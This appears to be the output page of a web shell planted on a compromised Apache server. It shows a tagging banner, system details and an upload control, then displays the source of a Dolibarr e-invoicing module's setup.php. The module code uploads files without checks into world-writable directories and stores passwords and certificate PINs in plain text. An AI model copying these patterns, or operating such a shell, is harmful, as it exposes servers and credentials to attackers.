Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/crfact/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/crfact/admin/setup.php
<?php
/* crindicadores: send SMS to thirdparties by crindicadores.com
/* Copyright (C) 2012 Maxime MANGIN <maxime@tuxserv.fr>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
 
/**
 * \file    admin/setup.php
 * \ingroup crfact
 * \brief   crfact setup page.
 *
 * Based on smsdecanet module.
 */

define('ERROR_NO_VALID_USER', "-300");
define('ERROR_USER_WRONG_LOGIN_INFO', "-301");
define('ERROR_USER_NO_VALID_SESSION', "-302");
define('ERROR_USER_ACCESS_DENIED', "-303");
define('ERROR_USER_EXISTS', "-304");
define('ERROR_DB_NO_RESULTS_FOUND', "-200");
define('ERROR_BAD_REQUEST', "-1");

define('ERROR_CLAVE_REQUEST', "-140");
define('ERROR_CONSULTAR_REQUEST', "-150");
define('ERROR_FACTURADOR_REQUEST', "-180");
define('ERROR_FILEUPLOADER_REQUEST', "-190");
define('ERROR_GENXML_REQUEST', "-191");
define('ERROR_SEND_REQUEST', "-193");
define('ERROR_SIGNXML_REQUEST', "-195");
define('ERROR_TOKEN_REQUEST', "-196");



// Load Dolibarr environment
//require(DOL_DOCUMENT_ROOT."/main.inc.php");
if (false === (@include '../../main.inc.php')) {  // From htdocs directory
	require '../../../main.inc.php'; // From "custom" directory
}

global $langs, $user;

// Libraries
require_once DOL_DOCUMENT_ROOT . "/core/lib/admin.lib.php";
require_once("../core/modules/modCRFact.class.php");
include_once('../class/crfact.class.php');
dol_include_once('/crfact/lib/crfact.lib.php');


// Translations
//$langs->load("admin");
$langs->load("crfact@CRFact");


// Access control
if (! $user->admin) {
	accessforbidden();
}


// Parameters
$action = GETPOST('action', 'alpha');


/*
 * Actions
 */
 
if ($_POST["action"] == 'Step1Account'){
	$crfacturl = GETPOST('crfacturl');
	$crfactparam = array(
		'fullName' => $conf->global->MAIN_INFO_SOCIETE_NOM,
		'userName' => GETPOST('crfactusername'),
		'email' => GETPOST('crfactemail'),
		'pwd' => GETPOST('crfactpassword'),
		'about' => $conf->global->MAIN_INFO_SOCIETE_TEL . ' '.$conf->global->MAIN_INFO_SOCIETE_TOWN,
		'country' => explode(':', $conf->global->MAIN_INFO_SOCIETE_COUNTRY)[1]
	);

	$CRFact = new crfact($db);
	$response = $CRFact->Request('users','users_register',$crfactparam,$crfacturl);

	if ( isset($response->resp->code )){
		$errormsg = $response->resp->status;
	}else{
		$sessionKey=$response->resp->sessionKey;
		$idUser=$response->resp->idUser;
		$userName=$response->resp->userName;
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey
		);
		$response = $CRFact->Request('facturador','copy_master_tables',$crfactparam,$crfacturl);

		if ( isset($response->resp->code )){
			$errormsg = $response->resp->status;
		}else{
			dolibarr_set_const($db, "CRFACT_MASTERID",$idUser,'chaine',0,'Master ID del API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_USERNAME", $userName,'chaine',0,'Nombre registrado en el API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_EMAIL", GETPOST('crfactemail'),'chaine',0,'Email registrado en el API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_PASSWORD", GETPOST('crfactpassword'),'chaine',0,'Password Maestro registrado en el API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_MASTERKEY", $sessionKey,'chaine',0,'Password Maestro registrado en el API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_URL", $crfacturl ,'chaine',0,'URL del API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_FINISHED_STEP",1,'chaine',0,'Step completed',$conf->entity,0);
		}
	}
}

if ($_POST["action"] == 'Step2Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;

	$crfacturl = $conf->global->CRFACT_URL;
	$crfactparam = array(
		'iam' => $userName,
		'sessionKey' => $sessionKey,
		'idMasterUser' => $idUser,
		'nombre' => $conf->global->MAIN_INFO_SOCIETE_NOM,
		'nombreComercial' => $conf->global->MAIN_INFO_ACCOUNTANT_NAME,
		'email' => $conf->global->MAIN_INFO_ACCOUNTANT_MAIL,
		'codigoPais' => substr($conf->global->MAIN_INFO_ACCOUNTANT_PHONE,0,3),
		'telefono' => $conf->global->MAIN_INFO_ACCOUNTANT_PHONE,
		'fax' => $conf->global->MAIN_INFO_ACCOUNTANT_PHONE,
		'tipoCedula' => str_pad( $conf->global->MAIN_INFO_SOCIETE_FORME_JURIDIQUE,2,"0", STR_PAD_LEFT),
		'cedula' => $conf->global->MAIN_INFO_SIREN
	);
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador','compannyUpdateInformation',$crfactparam,$crfacturl);

	if ( isset($response->resp->code )){
		$errormsg = $response->resp->status;
	}else{
			dolibarr_set_const($db, "CRFACT_FINISHED_STEP",2,'chaine',0,'Step completed',$conf->entity,0);
	}
}

if ($_POST["action"] == 'Step3Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;

	$crfacturl = $conf->global->CRFACT_URL;
	$crfactparam = array(
		'iam' => $userName,
		'sessionKey' => $sessionKey,
		'idMasterUser' => $idUser,
		'idProvincia' => substr($conf->global->MAIN_INFO_SOCIETE_ZIP,0,1),
		'idCanton' => substr($conf->global->MAIN_INFO_SOCIETE_ZIP,1,2),
		'idDistrito' => substr($conf->global->MAIN_INFO_SOCIETE_ZIP,3,2),
		'idBarrio' => substr($conf->global->MAIN_INFO_SOCIETE_ZIP,5,2),
		'sennas' => $conf->global->MAIN_INFO_SOCIETE_ADDRESS
	);
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador','compannyUpdateLocation',$crfactparam,$crfacturl);

	if ( isset($response->resp->code )){
		$errormsg = $response->resp->status;
	}else{
			dolibarr_set_const($db, "CRFACT_FINISHED_STEP",3,'chaine',0,'Step completed',$conf->entity,0);
	}
}

if ($_POST["action"] == 'Step4Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;

	$crfacturl = $conf->global->CRFACT_URL;
	$crfactparam = array(
		'iam' => $userName,
		'sessionKey' => $sessionKey,
		'numeroSucursal' => GETPOST('crfactidnumeroSucursal'),
		'nombreSucursal' => $conf->global->MAIN_INFO_SOCIETE_ADDRESS
	);
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador','addSucursales',$crfactparam,$crfacturl);

	if ( isset($response->resp->code )){
		$errormsg = $response->resp->status;
	}else{
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey
		);
		$response = $CRFact->Request('facturador','getSucursales',$crfactparam,$crfacturl);
		$idsucursal = $response->resp[0]->idSucursal;
		if ( isset($response->resp->code )){
			$errormsg = $response->resp->status;
		}else{
			$crfacturl = $conf->global->CRFACT_URL;
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey,
				'idSucursal' => $idsucursal,
				'numeroTerminal' => GETPOST('crfactnumeroTerminal'),
				'nombreTerminal' => $conf->global->MAIN_INFO_SOCIETE_ADDRESS
			);
			$response = $CRFact->Request('facturador','add_terminal',$crfactparam,$crfacturl);
		
			if ( isset($response->resp->code )){
				$errormsg = $response->resp->status;
			}else{
				$crfactparam = array(
					'iam' => $userName,
					'sessionKey' => $sessionKey,
					'idSucursal' => $idsucursal
				);
				$response = $CRFact->Request('facturador','getTerminales',$crfactparam,$crfacturl);
				$idterminal = $response->resp[0]->idTerminal;
				if ( isset($response->resp->code )){
					$errormsg = $response->resp->status;
				}else{
						dolibarr_set_const($db, "CRFACT_IDSUCURSAL",$idsucursal,'chaine',0,'Step completed',$conf->entity,0);
						dolibarr_set_const($db, "CRFACT_IDTERMINAL",$idterminal,'chaine',0,'Step completed',$conf->entity,0);
						dolibarr_set_const($db, "CRFACT_FINISHED_STEP",4,'chaine',0,'Step completed',$conf->entity,0);
				}
			}		
		}
	}
}

if ($_POST["action"] == 'Step5Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;
	$idsucursal= $conf->global->CRFACT_IDSUCURSAL;
	$idterminal= $conf->global->CRFACT_IDTERMINAL;

	$crfacturl = $conf->global->CRFACT_URL;
	$crfactparam = array(
		'iam' => $userName,
		'sessionKey' => $sessionKey,
		'idSucursal' => $idsucursal,
		'fullName'=> GETPOST('crfactfullName'),
		'userName'=> GETPOST('crfactuserName'),
		'email'=> GETPOST('crfactemail'),
		'pwd'=> GETPOST('crfactpwd'),
		'about'=> $conf->global->MAIN_INFO_SOCIETE_TEL . ' '.$conf->global->MAIN_INFO_SOCIETE_TOWN,
		'country'=> $conf->global->MAIN_MONNAIE,
		'idMasterUser'=> $idUser,
		'settings'=> $idterminal
	);
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador','companny_users_register',$crfactparam,$crfacturl);
	if ( isset($response->resp->code )){
		$errormsg = $response->resp->status;
	}else{
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey,
			'idMasterUser'=> $idUser,
			'idUser'=> $response->resp->idUser
		);
		$response = $CRFact->Request('facturador','companny_add_master_Consecutive',$crfactparam,$crfacturl);
	
		if ( isset($response->resp->code )){
			$errormsg = $response->resp->status;
		}else{
			dolibarr_set_const($db, "CRFACT_IDENDUSR", GETPOST('crfactemail') ,'chaine',0,'Step completed',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_IDENDPWD",GETPOST('crfactpwd'),'chaine',0,'Step completed',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_IDSENDUSR",$response->resp->idUser,'chaine',0,'Step completed',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_FINISHED_STEP",5,'chaine',0,'Step completed',$conf->entity,0);
		}
	}
}

if ($_POST["action"] == 'Step6Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;


	if (!file_exists(DOL_DATA_ROOT.'/crfact')) {
		mkdir(DOL_DATA_ROOT.'/crfact', 0777, true);
	}
	$target_dir = DOL_DATA_ROOT.'/crfact/';
	$target_file = $target_dir . basename($_FILES["crfactfileToUpload"]["name"]);
	if (move_uploaded_file($_FILES["crfactfileToUpload"]["tmp_name"], $target_file)) {

			$crfacturl = $conf->global->CRFACT_URL;
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey
			);
			$CRFact = new crfact($db);
			$response = $CRFact->Request('fileUploader','subir_certif',$crfactparam,$crfacturl,$target_file);
			if ( $response->resp === 'null'){
				$errormsg = $response->resp->status;
			}else{
				$client_id = GETPOST('crfactclient_id');
				if ($client_id == 'api-stag') {
					$r = 'company_stag_users';
				} elseif ($client_id === 'api-prod') {
					$r = 'company_prod_users';
				}
				$fileCode = $response->resp->downloadCode;
				$crfactparam = array(
					'iam' => $userName,
					'sessionKey' => $sessionKey,
					'downloadCode' => $fileCode,
					'userName'=> GETPOST('crfactucertserName'),
					'password'=>  GETPOST('crfactcertpwd'),
					'pinCerti'=>  GETPOST('crfactpin')
				);
				$response = $CRFact->Request('facturador',$r,$crfactparam,$crfacturl);
			
				if ( $response->resp !== "ok" ){
					$errormsg = $response->resp->status;
				}else{
					dolibarr_set_const($db, "CRFACT_CERTUSR_STAG", GETPOST('crfactucertserName') ,'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTPWD_STAG",GETPOST('crfactcertpwd'),'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTPIN_STAG",GETPOST('crfactpin'),'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTFILE_STAG",$fileCode,'chaine',0,'Step completed',$conf->entity,0);
					///dolibarr_set_const($db, "CRFACT_ENV",'api-stag','chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_FINISHED_STEP",6,'chaine',0,'Step completed',$conf->entity,0);
				}
			}
	} else {
		echo "Sorry, there was an error uploading your file.";
	}
}


if ($_POST["action"] == 'Step7Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;


	if (!file_exists(DOL_DATA_ROOT.'/crfact')) {
		mkdir(DOL_DATA_ROOT.'/crfact', 0777, true);
	}
	$target_dir = DOL_DATA_ROOT.'/crfact/';
	$target_file = $target_dir . basename($_FILES["crfactfileToUpload"]["name"]);
	if (move_uploaded_file($_FILES["crfactfileToUpload"]["tmp_name"], $target_file)) {

			$crfacturl = $conf->global->CRFACT_URL;
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey
			);
			$CRFact = new crfact($db);
			$response = $CRFact->Request('fileUploader','subir_certif',$crfactparam,$crfacturl,$target_file);
			if ( $response->resp === 'null'){
				$errormsg = $response->resp->status;
			}else{
				$client_id = GETPOST('crfactclient_id');
				if ($client_id == 'api-stag') {
					$r = 'company_stag_users';
				} elseif ($client_id === 'api-prod') {
					$r = 'company_prod_users';
				}
				$fileCode = $response->resp->downloadCode;
				$crfactparam = array(
					'iam' => $userName,
					'sessionKey' => $sessionKey,
					'downloadCode' => $fileCode,
					'userName'=> GETPOST('crfactucertserName'),
					'password'=>  GETPOST('crfactcertpwd'),
					'pinCerti'=>  GETPOST('crfactpin')
				);
				$response = $CRFact->Request('facturador',$r,$crfactparam,$crfacturl);
			
				if ( $response->resp !== "ok" ){
					$errormsg = $response->resp->status;
				}else{
					dolibarr_set_const($db, "CRFACT_CERTUSR_PROD", GETPOST('crfactucertserName') ,'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTPWD_PROD", GETPOST('crfactcertpwd'),'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTPIN_PROD", GETPOST('crfactpin'),'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_CERTFILE_PROD",$fileCode,'chaine',0,'Step completed',$conf->entity,0);
					dolibarr_set_const($db, "CRFACT_FINISHED_STEP",7,'chaine',0,'Step completed',$conf->entity,0);
				}
			}
	} else {
		echo "Sorry, there was an error uploading your file.";
	}
}

if ($_POST["action"] == 'Step8Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;

	$client_id = GETPOST('crfactclient_id');
	if ($client_id == 'api-stag') {
		$r = 'get_stag_credentials';
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey
		);
	} elseif ($client_id === 'api-prod') {
		$r = 'get_prod_credentials';
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey,
			'idMasterUser' => $idUser
		);
	}

	$crfacturl = $conf->global->CRFACT_URL;
	
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador',$r,$crfactparam,$crfacturl);
	if ( is_null($response->resp) ){
		$errormsg = $response->resp->status;
	}else{
		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey,
			'grant_type' => 'password',
			'username'=> $response->resp[0]->value,
			'password'=> $response->resp[1]->value,
			'client_id'=> $client_id
		);
		$response = $CRFact->Request('token','gettoken',$crfactparam,$crfacturl);
		if ( $response->resp->access_token ){
			setEventMessages($langs->trans('Conexion Safisfactoria'), null);
			$msg= 'Conexion Safisfactoria';
		}else{
			setEventMessages($langs->trans('Error '. $response->resp), null,'errors');
			$msg= 'Error '. $response->resp;
		}
	}
}

if ($_POST["action"] == 'Step9Account'){
	$sessionKey= $conf->global->CRFACT_MASTERKEY;
	$idUser= $conf->global->CRFACT_MASTERID;
	$userName= $conf->global->CRFACT_USERNAME;

	$client_id = GETPOST('crfactclient_id');
	if ($client_id == 'api-stag') {
		$envProduccion ='false';
	} elseif ($client_id === 'api-prod') {
		$envProduccion ='true';
	}

	$crfactparam = array(
		'iam' => $userName,
		'sessionKey' => $sessionKey,
		'idMasterUser' => $idUser,
		'envProduccion' => $envProduccion
	);

	$crfacturl = $conf->global->CRFACT_URL;
	$CRFact = new crfact($db);
	$response = $CRFact->Request('facturador','company_change_env',$crfactparam,$crfacturl);

	if ( is_null($response->resp) ){
		$errormsg = $response->resp->status;
	}else{
		if ($client_id == 'api-stag') {
			$r = 'get_stag_credentials';
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey
			);
		} elseif ($client_id === 'api-prod') {
			$r = 'get_prod_credentials';
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey,
				'idMasterUser' => $idUser
			);
		}
		$crfacturl = $conf->global->CRFACT_URL;

		$CRFact = new crfact($db);
		$response = $CRFact->Request('facturador',$r,$crfactparam,$crfacturl);
		if ( is_null($response->resp) ){
			$errormsg = $response->resp->status;
		}else{
			$crfactparam = array(
				'iam' => $userName,
				'sessionKey' => $sessionKey,
				'grant_type' => 'password',
				'username'=> $response->resp[0]->value,
				'password'=> $response->resp[1]->value,
				'client_id'=> $client_id
			);
			$response = $CRFact->Request('token','gettoken',$crfactparam,$crfacturl);
			if ( $response->resp->access_token ){
				dolibarr_set_const($db, "CRFACT_ENV",$client_id,'chaine',9,'Step completed',$conf->entity,0);
				dolibarr_set_const($db, "CRFACT_FINISHED_STEP",9,'chaine',0,'Step completed',$conf->entity,0);
				setEventMessages($langs->trans('Cambio Safisfactorio'), null);
				$msg= 'Cambio Safisfactorio';
			}else{
				setEventMessages($langs->trans('Error '. $response->resp), null,'errors');
				$msg= 'Error '. $response->resp;
			}
		}
	}
}
/*
 * View
 */
 
$page_name = "CRFactSetup";
llxHeader('', $langs->trans($page_name));


// Subheader
$linkback = '<a href="' . DOL_URL_ROOT . '/admin/modules.php">' . $langs->trans("BackToModuleList") . '</a>';
print load_fiche_titre($langs->trans($page_name), $linkback,'title_setup');
print "<br>\n";

// Configuration header

$head=crfact_admin_prepare_head();
//dol_get_fiche_head( $head, 'settings', $langs->trans("Module500998Name"), 0, "crfact@CRFact");

dol_fiche_head($head, 'settings', $langs->trans("Module500998Name"), 0, 'crfact@CRFact');

 
//oJI!J%jin^M^

$var=true;

// echo '<table class="noborder" width="100%">';
// echo '<tr class="liste_title">';
// echo "  <td>".$langs->trans("CRFactAccount")."</td>";
// echo '</tr>';
// echo "<tr ".$bc[$var].">";
// echo '<td>';

// 
// 	echo $langs->trans('APIKeyNotDefined').' - (<a href="https://facapi.dps-lat.com/Facturador/adminDash/signup.html" target="_blank"><strong>'.$langs->trans('CreateAPIAcount').'</strong></a>)';
// } else {
// 	echo '<strong>Recuperar Token</strong> - (<a href="https://facapi.dps-lat.com/Facturador/forgot-password.html" target="_blank"><strong>Recuperar Token</strong></a>)';
// }
// echo '</td>';
// echo '</td>';
// echo '</table><br><br>';
	if ( $conf->global->CRFACT_USERNAME && $conf->global->CRFACT_PASSWORD && $conf->global->CRFACT_URL ){
		$crfactparam = array(
			'userName' => $conf->global->CRFACT_USERNAME,
			'pwd' => $conf->global->CRFACT_PASSWORD
		);
		$CRFact = new crfact($db);
		$response = $CRFact->Request('users','users_log_me_in',$crfactparam,$conf->global->CRFACT_URL);

		if ( $response->resp == ERROR_USER_WRONG_LOGIN_INFO ){
			$errormsg = $response->resp;
		}else{
			dolibarr_set_const($db, "CRFACT_MASTERID",$response->resp->idUser,'chaine',0,'Master ID del API CRFact',$conf->entity,0);
			dolibarr_set_const($db, "CRFACT_MASTERKEY", $response->resp->sessionKey,'chaine',0,'Password Maestro registrado en el API CRFact',$conf->entity,0);
		}
		echo '<br>'.$langs->trans('Connected').' - (<a href="https://'.parse_url($conf->global->CRFACT_URL)["host"].'/Facturador/adminDash/" target="_blank"><strong>'.$langs->trans('ViewAPIAcount').'</strong></a>)';
	}else{
		echo '<br>'.$errormsg .' - (<a href="https://'.parse_url($conf->global->CRFACT_URL)["host"].'/Facturador/adminDash/" target="_blank"><strong>'.$langs->trans('CreateAPIAcount').'</strong></a>)';
	}

	echo '<table class="noborder" width="100%">';
	echo '<tr class="liste_titre">';
	echo "  <td>".$langs->trans("GeneralInfo")."</td>\n";
	echo "  <td align=\"left\" ></td>";
	echo "  <td >&nbsp;</td></tr>";
	$var=!$var;
	echo "<tr ".$bc[$var].">";
	echo '<td>'.$langs->trans("url").'</td>';
	echo '<td align="left"><input type="text" name="crfacturl" size="50" class="flat" value="'.$conf->global->CRFACT_URL.'" disabled></td>';
	echo '<td align="right"></td>';
	echo '</tr>';
	$var=!$var;
	echo "<tr ".$bc[$var].">";
	echo '<td>'.$langs->trans("fullName").'</td>';
	echo '<td align="left"><input type="text" name="crfactfullName" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_NOM.'" disabled></td>';
	echo '<td align="right"></td>';
	echo '</tr>';
	$var=!$var;
	echo "<tr ".$bc[$var].">";
	echo '<td>'.$langs->trans("country").'</td>';
	echo '<td align="left"><input type="text" name="crfactcountry" size="50" class="flat" value="'. $conf->global->MAIN_MONNAIE .'" disabled></td>';
	echo '<td align="right"></td>';
	echo '</tr>';
	$var=!$var;
	echo "<tr ".$bc[$var].">";
	echo '<td>'.$langs->trans("about").'</td>';
	echo '<td align="left"><input type="text" name="crfactabout" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_TEL . ' '.$conf->global->MAIN_INFO_SOCIETE_TOWN.'" disabled></td>';
	echo '<td align="right"></td>';
	echo '</tr>';
	echo '<tr class="liste_titre">';
	echo "  <td><strong>".$errormsg."</strong></td>\n";
	echo "  <td align=\"left\" ></td>";
	echo "  <td >&nbsp;</td></tr>";
	echo '</table><br><br>';

	if ( !$conf->global->CRFACT_MASTERKEY && is_null($conf->global->CRFACT_FINISHED_STEP)  ) { //STEP 1
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step1Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step1Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("url").'</td>';
		echo '<td align="left"><input type="text" name="crfacturl" size="50" class="flat" value="'.$conf->global->CRFACT_URL.'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("username").'</td>';
		echo '<td align="left"><input type="text" name="crfactusername" size="50" class="flat" value="'.$conf->global->CRFACT_NAME.'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("password").'</td>';
		echo '<td align="left"><input type="password" name="crfactpassword" size="50" class="flat" value="'.$conf->global->CRFACT_PASSWORD.'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("email").'</td>';
		echo '<td align="left"><input type="text" name="crfactemail" size="50" class="flat" value="'.$conf->global->CRFACT_EMAIL.'"></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Register").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 1) ) { //STEP 2
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step2Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step2Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactnombre").'</td>';
		echo '<td align="left"><input type="text" name="crfactnombre" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_NOM.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("nombreComercial").'</td>';
		echo '<td align="left"><input type="text" name="crfactnombreComercial" size="50" class="flat" value="'.$conf->global->MAIN_INFO_ACCOUNTANT_NAME.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactemail").'</td>';
		echo '<td align="left"><input type="text" name="crfactemail" size="50" class="flat" value="'.$conf->global->MAIN_INFO_ACCOUNTANT_MAIL.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactcodigoPais").'</td>';
		echo '<td align="left"><input type="text" name="crfactcodigoPais" size="50" class="flat" value="'.substr($conf->global->MAIN_INFO_ACCOUNTANT_PHONE,0,3).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfacttelefono").'</td>';
		echo '<td align="left"><input type="text" name="crfacttelefono" size="50" class="flat" value="'.$conf->global->MAIN_INFO_ACCOUNTANT_PHONE.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactfax").'</td>';
		echo '<td align="left"><input type="text" name="crfactfax" size="50" class="flat" value="'.$conf->global->MAIN_INFO_ACCOUNTANT_PHONE.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfacttipoCedula").'</td>';
		echo '<td align="left"><input type="text" name="crfacttipoCedula" size="50" class="flat" value="'.str_pad( $conf->global->MAIN_INFO_SOCIETE_FORME_JURIDIQUE,2,"0", STR_PAD_LEFT).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactcedula").'</td>';
		echo '<td align="left"><input type="text" name="crfactcedula" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SIREN.'" disabled ></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Register").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 2) ) { //STEP 3
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step3Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step3Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactidProvincia").'</td>';
		echo '<td align="left"><input type="text" name="crfactidProvincia" size="50" class="flat" value="'.substr($conf->global->MAIN_INFO_SOCIETE_ZIP,0,1).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactidCanton").'</td>';
		echo '<td align="left"><input type="text" name="crfactidCanton" size="50" class="flat" value="'.substr($conf->global->MAIN_INFO_SOCIETE_ZIP,1,2).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactidDistrito").'</td>';
		echo '<td align="left"><input type="text" name="crfactidDistrito" size="50" class="flat" value="'.substr($conf->global->MAIN_INFO_SOCIETE_ZIP,3,2).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactidBarrio").'</td>';
		echo '<td align="left"><input type="text" name="crfactidBarrio" size="50" class="flat" value="'.substr($conf->global->MAIN_INFO_SOCIETE_ZIP,5,2).'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactsennas").'</td>';
		echo '<td align="left"><input type="text" name="crfactsennas" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_ADDRESS.'" disabled ></td>';
